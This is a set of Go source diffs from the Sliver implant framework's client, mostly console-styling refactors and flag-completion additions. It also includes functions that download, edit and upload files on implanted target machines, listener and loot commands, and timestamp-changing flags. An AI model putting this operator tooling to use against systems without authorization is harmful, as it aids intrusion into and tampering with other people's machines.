func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
|
||||
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
RestrictedToFile: true,
|
||||
MaxBytes: maxBytes,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
taskID := download.Response.TaskID
|
||||
download = &sliverpb.Download{}
|
||||
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
uploadData, err := new(encoders.Gzip).Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
|
||||
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
Data: uploadData,
|
||||
Encoder: "gzip",
|
||||
IsDirectory: false,
|
||||
Overwrite: true,
|
||||
})
|
||||
if err == nil && upload.Response != nil && upload.Response.Async {
|
||||
taskID := upload.Response.TaskID
|
||||
upload = &sliverpb.Upload{}
|
||||
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
|
||||
task, err := waitForBeaconTask(ctx, con, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state != "completed" {
|
||||
if state == "" {
|
||||
state = "unknown"
|
||||
}
|
||||
return fmt.Errorf("beacon task %s %s", task.ID, state)
|
||||
}
|
||||
if len(task.Response) == 0 {
|
||||
return fmt.Errorf("beacon task %s returned empty response", task.ID)
|
||||
}
|
||||
return proto.Unmarshal(task.Response, out)
|
||||
}
|
||||
|
||||
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
|
||||
ticker := time.NewTicker(beaconPollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state == "completed" || state == "failed" || state == "canceled" {
|
||||
return task, nil
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func confirm(title string) (bool, error) {
|
||||
answer := false
|
||||
if err := forms.Confirm(title, &answer); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
|
||||
func parseByteSize(input string) (int64, error) {
|
||||
value := strings.TrimSpace(input)
|
||||
if value == "" {
|
||||
return 0, fmt.Errorf("size is required")
|
||||
}
|
||||
value = strings.ReplaceAll(value, " ", "")
|
||||
value = strings.ToUpper(value)
|
||||
|
||||
idx := 0
|
||||
for idx < len(value) {
|
||||
c := value[idx]
|
||||
if (c >= '0' && c <= '9') || c == '.' {
|
||||
idx++
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
if idx == 0 {
|
||||
return 0, fmt.Errorf("invalid size %q", input)
|
||||
}
|
||||
|
||||
numStr := value[:idx]
|
||||
unitStr := strings.TrimSpace(value[idx:])
|
||||
if unitStr == "" {
|
||||
unitStr = "B"
|
||||
}
|
||||
|
||||
multiplier := int64(1)
|
||||
switch unitStr {
|
||||
case "B":
|
||||
multiplier = 1
|
||||
case "K", "KB", "KIB":
|
||||
multiplier = 1024
|
||||
case "M", "MB", "MIB":
|
||||
multiplier = 1024 * 1024
|
||||
case "G", "GB", "GIB":
|
||||
multiplier = 1024 * 1024 * 1024
|
||||
case "T", "TB", "TIB":
|
||||
multiplier = 1024 * 1024 * 1024 * 1024
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown size unit %q", unitStr)
|
||||
}
|
||||
|
||||
numVal, err := strconv.ParseFloat(numStr, 64)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("invalid size %q", input)
|
||||
}
|
||||
if numVal <= 0 {
|
||||
return 0, fmt.Errorf("size must be greater than zero")
|
||||
}
|
||||
|
||||
size := int64(numVal * float64(multiplier))
|
||||
if size <= 0 {
|
||||
return 0, fmt.Errorf("size is out of range")
|
||||
}
|
||||
return size, nil
|
||||
}
|
||||
+38
-38
@@ -70,47 +70,47 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Session ID:"), session.ID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), session.Name)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), session.Hostname)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), session.UUID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), session.Username)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), session.UID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), session.GID)
|
||||
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), session.PID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), session.OS)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), session.Version)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), session.Locale)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), session.Arch)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), session.ActiveC2)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), session.RemoteAddress)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), session.ProxyURL)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render("Reconnect Interval:"), time.Duration(session.ReconnectInterval).String())
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Beacon ID:"), beacon.ID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), beacon.Name)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), beacon.Hostname)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), beacon.UUID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), beacon.Username)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), beacon.UID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), beacon.GID)
|
||||
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), beacon.PID)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), beacon.OS)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), beacon.Version)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), beacon.Locale)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), beacon.Arch)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), beacon.ActiveC2)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), beacon.RemoteAddress)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), beacon.ProxyURL)
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Interval:"), time.Duration(beacon.Interval).String())
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Jitter:"), time.Duration(beacon.Jitter).String())
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||
con.Printf("%s %s\n", console.StyleBold.Render(" Next Checkin:"), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -1,6 +1,25 @@
|
||||
package jobs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -82,7 +101,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
@@ -104,6 +122,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
})
|
||||
flags.BindFlagCompletions(httpCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||
})
|
||||
registerWebsiteFlagCompletion(httpCmd, "website", con)
|
||||
|
||||
// HTTPS
|
||||
httpsCmd := &cobra.Command{
|
||||
@@ -130,9 +152,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
})
|
||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
|
||||
registerWebsiteFlagCompletion(httpsCmd, "website", con)
|
||||
|
||||
// Staging listeners
|
||||
stageCmd := &cobra.Command{
|
||||
@@ -162,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
|
||||
|
||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package jobs
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestHTTPAndHTTPSWebsiteFlagCompletionRegistered(t *testing.T) {
|
||||
cmds := Commands(&console.SliverClient{})
|
||||
|
||||
httpCmd := commandByUse(cmds, consts.HttpStr)
|
||||
if httpCmd == nil {
|
||||
t.Fatalf("missing %q command", consts.HttpStr)
|
||||
}
|
||||
if _, ok := httpCmd.GetFlagCompletionFunc("website"); !ok {
|
||||
t.Fatalf("%q missing website flag completion func", consts.HttpStr)
|
||||
}
|
||||
|
||||
httpsCmd := commandByUse(cmds, consts.HttpsStr)
|
||||
if httpsCmd == nil {
|
||||
t.Fatalf("missing %q command", consts.HttpsStr)
|
||||
}
|
||||
if _, ok := httpsCmd.GetFlagCompletionFunc("website"); !ok {
|
||||
t.Fatalf("%q missing website flag completion func", consts.HttpsStr)
|
||||
}
|
||||
}
|
||||
|
||||
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||
for _, cmd := range cmds {
|
||||
if cmd.Use == use {
|
||||
return cmd
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package jobs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// WebsiteNameCompleter completes the names of available websites.
|
||||
func WebsiteNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
websites, err := websiteNameValues(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("Failed to list websites %s", err)
|
||||
}
|
||||
if len(websites) == 0 {
|
||||
return carapace.ActionMessage("no available websites")
|
||||
}
|
||||
|
||||
return carapace.ActionValues(websites...).Tag("websites").Usage("website name")
|
||||
})
|
||||
}
|
||||
|
||||
func registerWebsiteFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values, err := websiteNameValues(con)
|
||||
if err != nil {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func websiteNameValues(con *console.SliverClient) ([]string, error) {
|
||||
results := make([]string, 0)
|
||||
if con == nil || con.Rpc == nil {
|
||||
return results, nil
|
||||
}
|
||||
|
||||
websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, ws := range websites.Websites {
|
||||
results = append(results, ws.Name)
|
||||
}
|
||||
sort.Strings(results)
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
EnforceOTP: !enforceOTP,
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
nport, _ := cmd.Flags().GetUint32("nport")
|
||||
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
|
||||
|
||||
con.PrintInfof("Starting Wireguard listener ...\n")
|
||||
con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
|
||||
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package loot
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
carapace.Gen(lootAddCmd).PositionalCompletion(
|
||||
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
|
||||
|
||||
lootRemoteCmd := &cobra.Command{
|
||||
Use: consts.LootRemoteStr,
|
||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
||||
(*comp)["filter"] = FileTypeCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
|
||||
|
||||
lootRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
|
||||
@@ -82,7 +82,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) {
|
||||
return
|
||||
}
|
||||
if loot.File.Name != "" {
|
||||
con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
|
||||
con.PrintInfof("%s %s\n\n", console.StyleBold.Render("File Name:"), loot.File.Name)
|
||||
}
|
||||
if loot.File.Data != nil && 0 < len(loot.File.Data) {
|
||||
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
slivermcp "github.com/bishopfox/sliver/client/mcp"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -26,6 +27,12 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
ServerVersion: version,
|
||||
}.WithDefaults()
|
||||
|
||||
msg := `Do you know what prompt injection is and are you an adult?`
|
||||
if !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
con.PrintErrorf("Failed to start MCP server, the user is not qualified to use feature\n")
|
||||
return
|
||||
}
|
||||
|
||||
if err := slivermcp.Start(cfg, con.Rpc); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -20,7 +20,6 @@ package monitor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -99,14 +98,12 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCli
|
||||
"APIPassword",
|
||||
})
|
||||
|
||||
color := console.Normal
|
||||
|
||||
for _, config := range configs.Providers {
|
||||
row := table.Row{}
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
|
||||
row = append(row, config.ID)
|
||||
row = append(row, config.Type)
|
||||
row = append(row, config.APIKey)
|
||||
row = append(row, config.APIPassword)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
|
||||
@@ -75,7 +75,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
|
||||
for index, iface := range interfaces {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
|
||||
tw.SetTitle(console.StyleBold.Render(iface.Name))
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Name: "#", AutoMerge: true},
|
||||
{Name: "IP Address", AutoMerge: true},
|
||||
@@ -100,7 +100,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
|
||||
}
|
||||
}
|
||||
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
||||
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
|
||||
ips = append(ips, console.StyleBoldGreen.Render(ip))
|
||||
} else if all {
|
||||
ips = append(ips, fmt.Sprintf("%s", ip))
|
||||
}
|
||||
|
||||
@@ -104,11 +104,11 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
|
||||
console.StyleGreen.Render(entry.Protocol),
|
||||
console.StyleGreen.Render(srcAddr),
|
||||
console.StyleGreen.Render(dstAddr),
|
||||
console.StyleGreen.Render(entry.SkState),
|
||||
console.StyleGreen.Render(pid),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
|
||||
|
||||
@@ -50,7 +50,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
|
||||
})
|
||||
for _, operator := range operators {
|
||||
tw.AppendRow(table.Row{
|
||||
console.Bold + operator.Name + console.Normal,
|
||||
console.StyleBold.Render(operator.Name),
|
||||
status(operator.Online),
|
||||
})
|
||||
}
|
||||
@@ -59,7 +59,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
|
||||
|
||||
func status(isOnline bool) string {
|
||||
if isOnline {
|
||||
return console.Bold + console.Green + "Online" + console.Normal
|
||||
return console.StyleBoldGreen.Render("Online")
|
||||
}
|
||||
return console.Bold + console.Red + "Offline" + console.Normal
|
||||
return console.StyleBoldRed.Render("Offline")
|
||||
}
|
||||
@@ -81,7 +81,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
|
||||
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf("%s Pivots", PivotTypeToString(listener.Type))))
|
||||
tw.AppendSeparator()
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
|
||||
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Bool("unix", false, "interpret timestamps as Unix seconds")
|
||||
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
|
||||
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
|
||||
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
|
||||
})
|
||||
